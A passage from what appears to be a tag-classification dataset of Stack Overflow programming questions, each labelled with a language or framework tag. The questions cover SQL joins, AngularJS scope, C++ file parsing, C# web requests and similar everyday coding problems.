loadscrollviewwithpage:0];      [self loadscrollviewwithpage:1];  } </code></pre>   i have successfully added my controllers over the scroll view now how to add text view over the controllers.,ios
understanding how queries work  i have the following schema:   <ul> <li>movies (title  year  length  genre  studioname  producerc#)  </li> <li>starsin (movietitle  movieyear  starname)  </li> <li>moviestar (name  address  gender  birthdate)  </li> <li>movieexec (name  address  cert#  networth)  </li> <li>studio (name  address  presc#)</li> </ul>   who were the male stars in the 2009 movie avatar     let s get rid of the gender aspect of the query  so it s reduced to who were the stars in the 2009 movie avatar    <pre><code>select x starname   from starsin x     where  x.movietitle= avatar            x.movieyear=2009;   </code></pre>   i am having a rough time joining two tables. how would you address the gender aspect of this query     who is the president of mgm    <pre><code>select e.name   from movieexec e  studio st   where st.name= mgm        and st.presc#=e.cert#; </code></pre>   solution to eldest problem.   <pre><code>select x.starname     from starsin x  moviestar y    where y.gender =  male       and x.movietitle =  avatar        and x.movieyear = 2009        and  x.starname = y.name; </code></pre>,sql
getting 417 error when using webrequest  i have a schedule task that is making a webrequest. this was all working fine. however all of sudden i m getting the following error log.    <hr>   12/05/2010 20:21:17 failure reading xml system.net.webexception: the remote server returned an error: (417) expectation failed.    at system.net.httpwebrequest.getresponse()    at delegateimport.update.updatelivesite(string delegateid  string badgeid)    at delegateimport.rss.rssreader()    here is the code making the web request   <pre><code>                    webrequest request = webrequest.create (uri);                    request.method =  post ;                                             byte[] bytearray = encoding.utf8.getbytes (postdata);                     request.contenttype =  application/x-www-form-urlencoded ;                     request.contentlength = bytearray.length;                     request.timeout = 30000000;                     stream datastream = request.getrequeststream ();                   datastream.write (bytearray  0  bytearray.length);                     datastream.close ();                     webresponse response = request.getresponse ();                     console.writeline (((httpwebresponse)response).statusdescription);                     datastream = response.getresponsestream ();                     streamreader reader = new streamreader (datastream);                     string responsefromserver = reader.readtoend ();                     console.writeline (responsefromserver);                     reader.close ();                     datastream.close ();                     response.close(); </code></pre>,asp.net
dealing with tab delineated text files when a line contains only tabs  i am dealing with a tab delineated text file.  i use getline to get each line then parse it according to the tabs and place into an array for later manipulation.  once in a while  due to the data fed into the text file  i have either an empty line or more often a line that has nothing but ascii tabs.  and while i can and do go back to manually fix the files      i ve taken on the task to try to have my program handle the data.  using substr.empty() i can handle empty lines and successfully ignore the lines  which is what i want to do.  a tab in a line makes the line not empty  which i get  and causes my substr.empty to through an error.  using substr.begin i can handle having tabs  but not to ignore the lines with tabs.  instead i just through an error and print an error to the output file to let met know i have an error.      i can t seem to get both functions to coexist.  i m sure there is something fundamental i am missing.  i have been trying to figure this out myself for over a month to no avail (i don t program every day).  so i m looking for why i can t just throw the .begin as an or boolean with the if statement empty function.  and why i can t get the .begin to ignore the lines.    here s my code:   <pre><code>ofstream file_; ifstream file2_( forecasttest.txt ); if (file2_.is_open()) while (file2_.good()) {     string substr;       getline(file2_  substr);     string::iterator substr2 = substr.begin();      //if (*substr2 ==  \t ) {         //  file_.open( chaz_file.txt );           //  if (file_.is_open())            //  file_ &lt;&lt;  you have bad data - a line that starts with a tab  &lt;&lt; endl;         //  file_.close();         //  return 0;     //}     input_rows++;     if (substr.empty()) { //|| (*substr2 ==  \t )         input_rows--;     }     else {         istringstream iss(substr);         cout &lt;&lt; substr &lt;&lt; endl;         string token;         while (getline(iss  token   \t )){                vec_forecast_data_.push_back(token);         }     } } </code></pre>,c++
angularjs event handler in directive  i m trying to write a simple directive for a dropdown populated from a service:   <pre class= lang-html prettyprint-override ><code>    &lt;select class= form-control          name= model          id= modelinput          ng-model= campaign.model          ng-change= changed() &gt;         &lt;option&gt;              --select model--          &lt;/option&gt;             &lt;option ng-repeat= existingmodel in allmodels  value= {{existingmodel}} &gt;             {{existingmodel}}         &lt;/option&gt;     &lt;/select&gt; </code></pre>  <pre class= lang-js prettyprint-override ><code>(function () {      use strict ;      var module = angular.module( components.widgets   [ rest.services ]);      module.directive( modelnameselector   function ($http  $rootscope  modelnames) {         return {             restrict:  e               templateurl:  app/components/model/model-name-selector.html                controller: function ($scope  modelnames) {                 var t =  thing                  modelnames.getall().$promise.then(function(data){                     //why can t i see  t                         //why can t i access $scope                  });                 $scope.changed = function(){                     //i can t see it here too                 }             }         }     });  })(); </code></pre>   <code>modelnames.getall()</code> talks to a resource  and comes back with the right data  but i need to do some stuff when it comes back and i can t access scope or anything defined outside the callback closure. inside the changed callback  i can access the scope with <code>this</code>  but inside the callback from <code>getall</code>  <code>this</code> is the window. i m really confused.,angularjs
inheritance in .net 3.5 from framework 1 base classes. can it be done   as far as i know you cannot run .net 1.1 code and .net 3.5 code in the same process as they do not use the same version of the clr.    what are the implications of this for inheritance  i can imagine that you should be able to reference 1.1 assemblies from 3.5 code as the interfaces are well defined and the implementation can be in different clr versions  but does this apply to inheritance and if it does then how     is it possible to have a base class derived from say system.windows.forms.form  and implement some general functions therein which apply system.data  etc.  implement this base class in a version 1.1 assembly and then create a project targeted for framework 3.5 and derive the main form class from this version 1.1 base assembly     if i try this i get the compiler error    <blockquote>    error message value of type      cannot be converted to     . type mismatch could be   due to mixing a file reference to      in project      with a file reference   to    in project    20_app_code . if both assemblies are   identical  try replacing these   references so both references are from   the same location.   </blockquote>   filepath 1 being system.windows.forms.dll for framework 1 and filepath 2 being system.windows.forms.dll for framework 3.5 …     clearly these assemblies are not “identical” so i was expecting this not to work.     the strange thing is that in changing the reference in the 3.5 project to the 1.1 assembly to a file (dll) reference it compiles and seems to run just fine. when investigating at runtime it seems to be executing the 1.1 base class in framework 3.5  not loading framework 1.1 at all  which seems odd.,.net
problems with passing variables to a partial  i m using the partial  infowindow  (app/view/tech/_infowindow.html.erb) to populate a google map marker using:   <pre><code>new_marker = gmarker.new([t.lat  t.lng]  :icon =&gt; icon  :title =&gt; t.summary  :info_window =&gt; (render_to_string :partial =&gt;  infowindow   :object =&gt; t)) </code></pre>   but i m getting a very odd error.  when i simply put:   <pre><code>&lt;%= debug(infowindow) %&gt; </code></pre>   i get the full output of the hash.  but when i try to reference any of the individual attributes like:   <pre><code>&lt;%= infowindow.summary %&gt; </code></pre>   i get thrown an undefined method `summary  for nil:nilclass even though the attribute shows up in the debug output for the entire hash.  why can i only access the entire hash and not its individual attributes in the partial     edit: the top part of the returned hash:   <pre><code>!ruby/object:ticket  attributes:  </code></pre>   the model being used is a ticket object if that helps.,ruby-on-rails
is there an easy way to get type object from c# type name  i want to create type object from string value  e.g.   int    long . i know i can create type object from .net framework type name  like type t = type.gettype( system.int32 ).    is there a built-in way to do same from c# type   int    long .,c#
method executing differently when same arguments are passed  same arguments passed on the same method for the same object.  it usually will display true  which is what i expect.   but... sometimes it displays false.  about 2-3 out of 100 times.  what is wrong with this method that would be causing this behavior     year  month  and day are instance variables containing  2012    4    1  respectively.   <pre><code>public boolean isindaterange(string startdate  string enddate) {     if(startdate == null || enddate == null){         return false;     }     calendar today = calendar.getinstance();     today.set(integer.valueof(year)  integer.valueof(month)  integer.valueof(day));      calendar start = calendar.getinstance();     //subtract 1 from the month parameter because java.util.calendar s months     //go from 0 to 11 instead of 1 to 12.     start.set(integer.valueof(startdate.substring(0  4))  integer.valueof(startdate.substring(5  7)) - 1  integer.valueof(startdate.substring(8  10)));      calendar end = calendar.getinstance();     end.set(integer.valueof(enddate.substring(0  4))  (integer.valueof(enddate.substring(5  7))) -1   integer.valueof(enddate.substring(8  10)));      return today.compareto(start) &gt;= 0 &amp;&amp; today.compareto(end) &lt;= 0; } </code></pre>   and here is what i am passing to it   <pre><code>calendardetails.gettuesday().isindaterange( 2012-05-01 00:00:00    2012-05-01 00:00:00 ) </code></pre>,java
angular.js form parameters  i have a form    <pre><code>&lt;td&gt;&lt;input class= form-control  ng-model= contact.name &gt;&lt;/td&gt; &lt;td&gt;&lt;input class= form-control  ng-model= contact.number &gt;&lt;/td&gt; &lt;td&gt;&lt;input class= form-control  ng-model= contact.postcode &gt;&lt;/td&gt; </code></pre>   and i want postcode to be changed to all upper-case  and i want two input boxes for first name and second name  but want them to have the same ng-model. so the user enters first name and second name into separate inputs but its still just ng-model= contact.name .     also is there a way to add non user entered data to an input e.g. i want to add the text  phone number:  to the contact.number data without the user entering it.    thank you,angularjs
c++ find_if() cannot convert  this  pointer from  const client  to  client &   the following is giving me an error. it s highlighting  m  in return m->getaddress() and giving the error:    <blockquote>    error 1   error c2662:  raknet::systemaddress client::getaddress(void)    : cannot convert  this  pointer from  const client  to  client &amp;   </blockquote>   i m not really following why i m getting this error.    <pre><code>list&lt;client*&gt; battlequeue;  if (find_if(battlequeue.begin()  battlequeue.end()  [packet](const client* m) -&gt; bool { return m-&gt;getaddress() == packet.systemaddress; }) == battlequeue.end()) { } </code></pre>,c++
count null values from multiple columns with sql  i have 3 columns let say a  b  and c. i need to count the null values in each column.    for example:   <pre><code> a  | b  | c ------------- 1   |null| 1 1   | 1  | null null| 1  | 1 null|null| 1 </code></pre>   should output:   <pre><code> a  |  b  |  c ---------------  2  |  2  |  1 </code></pre>   i ve tried count  sum  sub-queries but nothing has worked for me yet. any input would be appreciated!,sql
is it advisable to use  unstable  angularjs libraries   the extensive documentation on latest 1.2.0 rc series suggests that angular team is promoting it.     the series is much more modular in which its asking to download libraries for routing  animation etc. i m concerned if this would make code more prone to breaking especially since angularjs itself is branding these libraries as  unstable .     i m new to angularjs  people who s used  unstable versions  previously  can help notify the pitfalls  one should take care of  or simply adhere to the latest stable library of 1.0.8.    thanks.,angularjs
x86 type publish code is not working for ace.oledb.4.0 provider in windows server 2008 x64  x86 type publish code is not working for ace.oledb.4.0 provider in windows server 2008 x64 :    error : ace.oledb.4.0 is not registered in your local system. i was developed application on vs 2005 for read xls file. there is working fine from vs2005 debuging mode. but when i publish it and make virtual directory from iis then it generate above error. when i run from xp machine then it working fine but windows server 2008 is n,.net
why is my data becoming zero in nsmutablearray in iphone  in my application i am adding the data in nsmutablearray with a for loop. all is added correctly but the issue is that if the number of iterations are increasing the data becomes zero at particular index values. my code looks as follows:   <pre><code>  nsarray * sortedarray =[filterprojectsarray sortedarrayusingdescriptors:descriptors];   nsmutablearray *array1=[[nsmutablearray alloc]initwitharray:sortedarray];  [appdelegate.filtersarray addobject:[array1 mutablecopy]] ;   for (int i=0; i&lt;[appdelegate.filtersarray count]; i++)  {        nslog(@ object in filtersarray count is %d  [[appdelegate.filtersarray objectatindex:i]count]);   } </code></pre>   for this i am getting the output in the console as follows:   <pre><code>object in filtersarray count is 9  object in filtersarray count is 9 object in filtersarray count is 2   object in filtersarray count is 0 object in filtersarray count is 2 object in filtersarray count is 9   object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 9 object in filtersarray count is 2   object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 2 object in filtersarray count is 3   object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 0 object in filtersarray count is 3 </code></pre>   that s the output i m getting  i don t have an idea why it behaves like this. so if anyone has any idea regarding this please let me know.,iphone
group by id and merge data where is null  i have join multi table and get this result    <pre> project_id | title|phone   | office_phone  +++++++++++++++++++++++++++++++++++++++ 3          |a     |1       |null 4          |b     |null    |1    4          |b     |2       |null 5          |c     |null    |1 5          |c     |null    |2 5          |c     |null    |3 5          |c     |1       |null   5          |c     |2       |null     </pre>   now i want group by project id and merge data where is null    i want output like this   <pre> project_id | title|phone   | office_phone  +++++++++++++++++++++++++++++++++++++++ 3          |a     |1       |null 4          |b     |2       |1    5          |c     |1       |1 5          |c     |1       |2 5          |c     |1       |3 5          |c     |2       |1 5          |c     |2       |2 5          |c     |2       |3 </pre>   how can i do this,mysql
multiple angularjs applications for one page  i want to have angular js application for each user control on a page.  is it a good practice      and if it is not allowed  so what is a right way to isolate angularjs modules     i m asking because of my question about problem with angular ui: <a href= https://stackoverflow.com/questions/15486976/angularui-sortable-does-not-work-for-more-then-one-applications >angularui sortable does not work for more then one applications</a>,angularjs
why does this code not return a string  <pre><code>public string tostring()     {         system.out.println(lastname +      + firstname);         system.out.println(phonenumber);         if (relationship ==  f )             system.out.println( friend );         else if (relationship ==  m )             system.out.println( family member );         else if (relationship ==  b )             system.out.println( buisness associate );         else system.out.println( not specified );     } </code></pre>   this does not work because it says the code does not return a string  and i don t know why.,java
mysql auto insert a value after substraction  i am working on a car rental system. the table  hire  has fields like <code>hiredate</code>  <code>returndate</code>  etc. i want to be able to calculate the rent and insert that value automatically into the database (same table).    i am wondering if i can subtract these two date fields  and the value which comes out of this can be multiplied by a certain number (say 300) and automatically added to another attribute called  <code>rent_due</code> . the idea is to calculate the total rent due by getting the number of days and then multiplying that by a certain number. so for every hire that is made  i just enter the hiring date and the return date  and the rent due attribute is automatically filled. is this possible by any chance     i dont know what more information i need to provide to seek help  kindly let me know if you might require an image of my erd. thanks!,mysql
customized error handling  how can i achieve that the code below only will be executed if there is an html input-tag  so that it won t be executed by the html label-tag.   <pre><code>&lt;div class=\ field_with_errors\ &gt;#{html_tag}&lt;/div&gt; .html_safe </code></pre>   thanks in advance!    regards silvan,ruby-on-rails
reverse polish notation calculator: grabbing input and displaying result  i have able to create a function that will perform reverse polish notation. the structure of the method  is fine the two issues i am running into is how to grab the formula the user inputs in <code>textbox1</code> and display the answer(formula = answer) on <code>textbox2</code>.  i have assigned to <code>textbox1</code> the variable <code>rpnvalue</code> but it gives an error message <code>a field initializer cannot reference the non-static field  method  or property  modified_rpn.form1.textbox1 </code>. so once again how can i grab the formula the user inputs in <code>textbox1</code> and display the answer(formula = answer) on the multiline `textbox2     <strong>code</strong>   <pre><code>namespace rpn {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          string rpnvalue = textbox1.text;           private void rpncalc(rpnvalue)         {             stack&lt;int&gt; stackcreated = new stack&lt;int&gt;();             try             {                 var tokens = rpnvalue.replace( (      ).replace( )      )                                      .split().where(s =&gt; !string.isnullorwhitespace(s));                 foreach (var t in tokens)                 {                     try                     {                         stackcreated.push(convert.toint32(t));                     }                     catch                     {                         int store1 = stackcreated.pop();                         int store2 = stackcreated.pop();                         switch (t)                         {                             case  + : store2 += store1; break;                             case  - : store2 -= store1; break;                             case  * : store2 *= store1; break;                             case  / : store2 /= store1; break;                             case  % : store2 %= store1; break;                             case  ^ : store2 = (int)math.pow(store1  store2); break;                              default: throw new exception();                         }                         stackcreated.push(store2);                     }                 }                  if (stackcreated.count != 1)                     messagebox.show( please check the input );                 else                     textbox1.text = stackcreated.pop().tostring();              }             catch             {                 messagebox.show( please check the input );             }              textbox2.appendtext(rpnvalue);             textbox1.clear();         }           private void button1_click(object sender  eventargs e)         {             rpncalc(textbox1  textbox2);         }     } } </code></pre>   <img src= https://i.stack.imgur.com/hxtji.jpg  alt= enter image description here >,c#
replacement of fflush(stdin)  i have the below code    <pre><code>fflush(stdin); print( enter y/n ); scanf( %c  &amp;a); </code></pre>   here it is quitting before giving the input.it looks like the issue is because it is not flushing out the input buffer which might be having some junk characters.is there any alternative for flush(stdin).this code snippet is working in solaris but it is not working in linux.,c
how can i hide html tags   i m using a form to post to a blog. on the blog show post page i use the == on the rails content display tag to interpret the html.     however  i have a blog index page which shows the latest posts  i want the truncated post previews to not interpret the html but at the same time hide the html tags.    how can i do this    <pre><code>  def blog     #@content3 = content.find(3)     @blogposts = blogpost.all.reverse.drop(1)     @latestpost = blogpost.last     if @latestpost.blank  == false       @blogpicture = blogpost.last.image     end     respond_to do |format|       format.html { render :layout =&gt;  blog  }     end   end </code></pre>,ruby-on-rails
python line remover  hi i have a large file that i want to delete the lines that contain the text all and print the file without spaces with just the remaining lines. i started a program   <pre><code>sourcefile = open( c:\\scoresfinal.txt    r ) filename2 = open( c:\\nohet.txt    w )  offending = [ het ]  def fixup( filename ):      fin = open( filename )      fout = open( filename2    w )      for line in fin.readlines():          if true in [item in line for item in offending]:             continue         fout.write(line)     fin.close()      fout.close()   fixup(sourcefile) </code></pre>   but it doesn t work. any help     here is my error:   <pre><code>traceback (most recent call last):   file  c:/python make small file/hetcut2.py   line 18  in &lt;module&gt;     fixup(sourcefile)   file  c:/python make small file/hetcut2.py   line 9  in fixup     fin = open( filename )     typeerror: coercing to unicode: need string or buffer  file found </code></pre>,python
c# method rolldice  hi need to write a program that given a method rolldice() which simulates rolling a dice by returning a random value between 1 and 6  write a condition for the while loop in the code below so that it will end after a double 6 has been rolled (i.e. both dice have the value 6):need youre help.   <pre><code>    using system; {   class program;   {         int a = 0;         int b = 0;         while ( a==6; b==6)         {           a = rolldice();           b = rolldice();           console.writeline( {0} {1}  a b);         }    } } </code></pre>,c#
creating a bluetooth server with reflection method android  i need to have an android bluetooth server application. i ve successfully created a client which use the reflection method like this:   <pre><code>method m = zee.getclass().getmethod( createrfcommsocket   new class[] { int.class }); sock = (bluetoothsocket) m.invoke(device  1); </code></pre>   but is there any way i can adapt this codesnippet so my device can act as a server instead of a client,android
from this code i get the error cannot resolve symbol: method parseint (java.lang.string) how can i fix this  <pre><code> import java.io.*;     class test2     {         public static void main(string []args) throws ioexception         {             string number =  90 ;             int value;              value = integer.parseint(number); //change number to an integer             system.out.println(value);         }     } </code></pre>   i get the error .\integer.java:19: cannot resolve symbol    symbol: method parseint(java.lang.string)    location: class integer    number = integer.parseint(indata);    it is saved as test2  not integer  so i don t understand the error.,java
similarity matrix chart js plugin   i want to draw a self-similarity matrix based on data points  i m wondering if there is a javascript plugin to render it  similar to xy.js or chart.js    this chart should look like:<br> <a href= https://manuel.moussallam.net/pymp/pyplots/build_sim_matrix.hires.png  rel= nofollow noreferrer ><img src= https://manuel.moussallam.net/pymp/pyplots/build_sim_matrix.hires.png  alt= https://manuel.moussallam.net/pymp/pyplots/build_sim_matrix.hires.png ></a>    searching google keeps giving me results using d3 or cubism which seem to target realtime data flow  while i only have a single list of numbers that does not change.,javascript
error when i install  passenger-install-nginx-module  but there is no any reaction. stop here  error when i install  passenger-install-nginx-module   but there is no any reaction. stop here. <br> <img src= https://i.stack.imgur.com/6ami5.jpg  alt= pic1 >    <img src= https://i.stack.imgur.com/jtmud.jpg  alt= pic2 >,ruby-on-rails
jquery add class to nearest element which exists multiple times  i have a structure like this:   <pre><code>&lt;span class= side &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;span class= copy-short-url &gt;&lt;i class= fas fa-link &gt;&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;         &lt;span class= confirm &gt;copied!&lt;/span&gt;     &lt;/ul&gt; &lt;/span&gt;  ...  &lt;span class= side &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;span class= copy-short-url &gt;&lt;i class= fas fa-link &gt;&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;         &lt;span class= confirm &gt;copied!&lt;/span&gt;     &lt;/ul&gt; &lt;/span&gt;  ...  &lt;span class= side &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;span class= copy-short-url &gt;&lt;i class= fas fa-link &gt;&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;         &lt;span class= confirm &gt;copied!&lt;/span&gt;     &lt;/ul&gt; &lt;/span&gt;  ...  &lt;span class= side &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;&lt;i class= fas fa-print &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;span class= copy-short-url &gt;&lt;i class= fas fa-link &gt;&lt;/i&gt;&lt;/span&gt;&lt;/li&gt;         &lt;span class= confirm &gt;copied!&lt;/span&gt;     &lt;/ul&gt; &lt;/span&gt; </code></pre>   i now want to add a class to the span  confirm . but only for the span that belongs to the corresponding code block. so when i click on the second span  copy-short-url  only the second span  confirm  must get the additional class.     how can i do this  thanks!,jquery
static function/variable  i just started programming in c++ this concept of static variable/function wasn t clear to me..why is this used and is there any other alternative of this!!!,c++
how to shuffle an array such that unique elements are obtained at all indexes   i have an array <code>$myar=array( 1    2    3    4    5    6    7 ).</code> i want to create five more arrays by shuffling this array five times using <code>shuffle($myar)</code>.    my requirement is that  all elements at zero index should be unique (i.e. not repeated) in all arrays. similarly for all indexes.,php
is there a simple way to convert value to string   i have defined some macros like this:   <pre><code>#define abc  1  #define def  2  #define xyz  3  </code></pre>   and i also need to output the macro string based on its value  like this:   <pre><code>static const char* get_event_string(unsigned char event) {     switch (event) {         case  1 :             return  abc ;         case  2 :             return  def ;         case  3 :             return  xyz ;     } } </code></pre>   is there any simple way to do it,c
trying to understand naming rules in angularjs services  in john papas coding guidelines for angularjs he says that the  type  of declaration does not need to be in the name only if that type is controller because controllers are frequently used.  i m confused on his logger service why it is not required to be loggerservice.    <a href= https://github.com/johnpapa/angularjs-styleguide#services  rel= nofollow >https://github.com/johnpapa/angularjs-styleguide#services</a>   <pre><code>// service angular  .module( app )  .service( logger   logger);  function logger() {   this.logerror = function(msg) {     /* */   }; } </code></pre>,angularjs
why does twitter implement a full screen image like this  there is a full screen image in the front page of twitter.in the source code they do something like this:    html:   <pre><code>&lt;div class= front-bg &gt; &lt;img class= front-image  src= xxx.jpg &gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.front-bg { position: fixed; width: 200%; height: 200%; left: -50%; } .front-bg img { margin: auto; min-width: 50%; min-height: 50%; top: 0; left: 0; right: 0; bottom: 0; } </code></pre>   why do they set top/left property to the  .front-bg img   and if i change something like this:   <pre><code>.front-bg { position: fixed; width: 100%; height: 100%; } .front-bg img { min-width: 100%; min-height: 100%; } </code></pre>   it works as well. why do they set width 200% instead,css
ending a loop when nothing is entered  usually i write a control loop as follows: loop that enters writes ints into vector nvec until  done  is entered.   <pre><code>while (cin &gt;&gt; sstring){     if (sstring= done )     {          break;     }     nvec.push_back(sstring);  } </code></pre>   this works fine  but how would i go about doing this if i wanted the loop to end once the user entered nothing (just pressed enter),c++
sql query null data was not retrieved  <img src= https://i.stack.imgur.com/spjxp.png  alt= enter image description here >    table department     <img src= https://i.stack.imgur.com/4zcnq.png  alt= table departmet >     table employee    <img src= https://i.stack.imgur.com/tttsn.png  alt= enter image description here >    there is the operations department which has not any employee. so  i believed that the query would retrieved also the row(image 1):    department_id=10   department_name =operations  employee=0     why doesnt happen      <pre><code> select employee.department_id  department.department_name  count(*) as employees  from employee right join department on department.department_id = employee.department_id group by department.department_name .employee.department_id </code></pre>,sql
how can i remove a character from a match object   a bit of data contains an an extra whitespace that i would like to get rid of  but unfortunately at that point it is a match object and so how can i delete it    <pre><code>for string in sl:     for keyword in keywordlist: #looping through each string in syslog.txt against each keyword in keyword.txt         if keyword in string:          hostnameresult = re.search(r \s[a-z]+\s   string)          dateresult = re.search(r ^[a-z][a-z][a-z]\s\s[0-9]+\s[0-9]{2}\:[0-9]{2}\:[0-9]{2}   string)          del(dateresult[3]) &lt;- the part i m trying to actually do.          print  ** +keyword+ ** +hostnameresult.group(0)+dateresult.group(0) </code></pre>,python
button in the same height with text  i want to add 2 buttons at the same height of the text or in the middle  but what i get is:<br> <a href= https://i.stack.imgur.com/vzgji.png  rel= nofollow ><img src= https://i.stack.imgur.com/vzgji.png  alt= enter image description here ></a>    how can i do it  the code:   <pre><code>&lt;h3 style= float:left; &gt;change ambient light:&amp;nbsp;&lt;/h3&gt; &lt;button style= float:left;  type= button  onclick= changeambientlight( up ) &gt;+&lt;/button&gt; &lt;button style= float:left;  type= button  onclick= changeambientlight( down ) &gt;-&lt;/button&gt; &lt;br style= clear:both  /&gt; </code></pre>,html
how to loop through an document saving every results that applies  i have a document containing a dict of results  what i want to do is loop through the  document and save each result that is right    this is my current code which works fine but will only the return the first result    <pre><code>#fetch router descriptors based on a given flag def gethsdirflag():    for r in router.itervalues():         if  hsdir  in r[ flags ]:             return r    return none </code></pre>   i have tried :   <pre><code>def gethsdirflag():    hsdirlist =()    for r in router.itervalues():         if  hsdir  in r[ flags ]:             hsdirlist += r         return hsdirlist    return none </code></pre>   but get the error typeerror: can only concatenate tuple (not  dict ) to tuple    what is the best data type to save a dict to and how can i loop through the doc finding every result,python
how do you add devices to a provisioning profile in apple s updated developer portal   i was always able to do this by checking the devices i wanted to add  but i can t find that option with the interface update.     i just edited an old profile (which had 14 devices)  so that i can add a new tester  but now it tells me that it has no devices registered for it.     can anyone point me in the right direction     thanks,ios
is there an alternative to jobscheduler in ios   in android there is <a href= https://developer.android.com/reference/android/app/job/jobscheduler.html  rel= nofollow noreferrer >jobscheduler</a> where you can schedule to execute part of your code (service) when conditions are met. for example  if one wants to synchronise data  he can schedule a task when there is network connection available and the phone is charging. the service will be called even if the app is never opened after phone restart.    is there a way how to do this in ios  for example  how dropbox  onedrive  etc. uploads pictures to the cloud even when the app is not opened after a restart,ios
what are all the different ways of insantiating a class in c++   i m just beginning c++  having first done some java and a lot of python. in both of those languages there is exactly one way of creating a new variable of type <code>myclass</code>  in java it s <code>myclass obj = new myclass()</code> and in python it s <code>obj = myclass()</code>.    in c++ i ve seen all kinds of different syntaxes in example code  things like:   <pre><code>myclass* obj = new myclass(); myclass obj(); myclass obj = myclass(); myclass obj; </code></pre>   where can i get an exhaustive list of all the different ways of instantiating a class in c++  and the differences between them  in case i m using the terminology wrong  by  instantiating   i mean obtaining a variable name on which methods can be called with either dot or arrow notation.,c++
passing addresses of variables into other functions  okay  if i declare/initialize a variable  and then pass it s address to another function  is that the same as saying <code>int* n = &amp;i</code>  in other words  is the act of passing the address to another function itself creating a pointer  i almost wanna say to myself  yes  duh  that s a stupid question  but i just want to make sure that i am understanding this correctly.   <pre><code>foo(int* n) {     //do something }   main () {   int i = 5;   foo(&amp;i); } </code></pre>,c++
limited instance of php  is there a way to initiate a limited version of php      what i want is to create an extremely limited instance of php. something that could possibly be used publicly to evaluate code without compromising the server. it should support only the basics of a language like variables  looping  printing and thats all. i know ther s a setting that allows to block certain functions but i want to allow only a few language constructs and block 99% of functions.,php
a button that submits and also refreshes   i have a form that changes something in a sql database  the page also displays the thing being changed. for some reason  after the change is submitted  i have to refresh the page for it to correctly display the newly changed info. i know i can make a button that refreshes the page  but the button is also being used for the submit function  is there a way to combine the two so it would refresh after it updates the sql database      thanks    edit: nvm i figured it out  you can use a header function after the sql query   <pre><code>header( location:   . $_server[ request_uri ]); </code></pre>,html
using winforms control in asp.net  i have a web application  through the library system.windows.form can create a winform window  which can add controls winform. to compile in visual studio it works fine but when iis publish this window is not displayed. is there any way to achieve the iis deploy the winform  or some way to publish this application  any ideas     sorry for my bad english thanks,asp.net
read lines from a file  and returns lines containing a word  i have a program that should do this:   <ol> <li>open a file</li> <li>read every line character by character</li> <li>print in another file the lines containing a word</li> </ol>   i have to respect this conditions: open files with file descriptors method  read character by character and use the <code>&lt;string.h&gt;</code> functions. i ve found other similar question but are really different.. and <code>fopen</code> is used to access files.    this is my code (a function called by the main in a cycle):   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;sys/types.h&gt; #include&lt;unistd.h&gt; #include&lt;fcntl.h&gt; #include&lt;string.h&gt;  #define linelength 2000  int readline(int in_fd int out_fd char** _line char* word){     /*what the functions return:     -1 end of file      0 if word not founded     &gt;0 word founded -&gt; return the amount of line characters     */      //declarations     int counter lineended fileended readreturn;     char character;     char* line = *_line;      //line acquisition     counter=lineended=fileended=readreturn=0;     do{         //read         readreturn=read(in_fd &amp;character 1);          //depends by the read return value:         if(readreturn==-1){             //-error             perror( read error );             exit(exit_failure);}         else if(readreturn==0){         //-end of file             if(counter==0) fileended=1;             else lineended=1;}         else if(character== \n ){       //-character read is  \n              line[counter]=character;             lineended=1;}         else{                           //-character read             line[counter]=character;             counter++;}     }while((counter&lt;linelength-1) &amp;&amp; (!lineended) &amp;&amp; (!fileended));     if(fileended) return -1;      //if  line  were filled and then stop reading  so the input     //line probably continue; this  if  force to add     //a  \n  character at the end of line and increase counter     if(!lineended){        counter+=1;        line[counter]= \n ;}      //copy the line in a new string - 3 not working solutions     //1st solution: segmentation fault     char* local_line;     strncpy(local_line line counter+1);     //2nd solution: so i try to use this; but this     //delete the last character to insert  \n      char* local_line;     local_line = strtok(line  \n );     local_line[counter-1]= \n ;     //3rd solution: seems to work but...     char* local_line = (char*)malloc(sizeof(char)*(counter+1));     local_line = strtok(line  \n );     local_line[counter+1] =  \n ; //but this line seems to be ignored;            //line written in output file do not contain \n at the end      //search  word  in  local_line      char* strstrreturn = strstr(local_line word);      //write line on file represented by out_fd (if word founded)     if(strstrreturn==null){         free(local_line); //only with the 3rd solution.. but this line                           //causes memory corruption after some fuction cycles!         return 0;}     else{         write(out_fd local_line counter);         free(local_line); //only with the 3rd solution.. but causes                           //segmentation fault!         return counter;     } }   main(int argc char* argv[]){      //check arguments     if(argc!=3){         printf( syntax: exec filename wordsearch\n );         exit(exit_failure);}      //declarations     int fd_1 fd_2;     int readlinereturn=0;     //int debug;     char* line = (char*)malloc(sizeof(char)*linelength);      //open file for reading     fd_1 = open(argv[1] o_rdonly);     if(fd_1&lt;0){         perror( error opening 